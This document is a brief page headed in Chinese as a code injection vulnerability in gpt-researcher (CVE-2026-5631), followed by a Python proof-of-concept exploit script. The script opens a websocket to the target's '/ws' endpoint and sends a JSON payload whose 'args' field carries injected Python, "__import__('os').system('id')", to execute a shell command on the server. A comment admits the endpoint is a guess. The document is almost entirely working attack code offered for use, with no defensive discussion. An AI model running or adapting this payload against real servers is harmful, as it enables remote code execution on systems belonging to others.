CVE-2026-5631 gpt-researcher代码注入漏洞

import asyncio import websockets import json # PoC for CVE-2026-5631: Code Injection in gpt-researcher # This script demonstrates sending a malicious payload to the vulnerable endpoint. async def exploit(target_url): uri = f"ws://{target_url}/ws" # Adjust endpoint based on actual implementation # Malicious payload attempting to inject code via 'args' # The payload aims to execute 'id' command on the server payload = { "args": "__import__('os').system('id')" } try: async with websockets.connect(uri) as websocket: print(f"[*] Connected to {uri}") # Send the malicious payload await websocket.send(json.dumps(payload)) print("[+] Payload sent successfully.") # Wait for response (optional, depending on server behavior) response = await websocket.recv() print(f"[+] Server response: {response}") except Exception as e: print(f"[-] Exploit failed: {e}") # Usage: python3 poc.py <target_ip:port> # asyncio.run(exploit("127.0.0.1:8000"))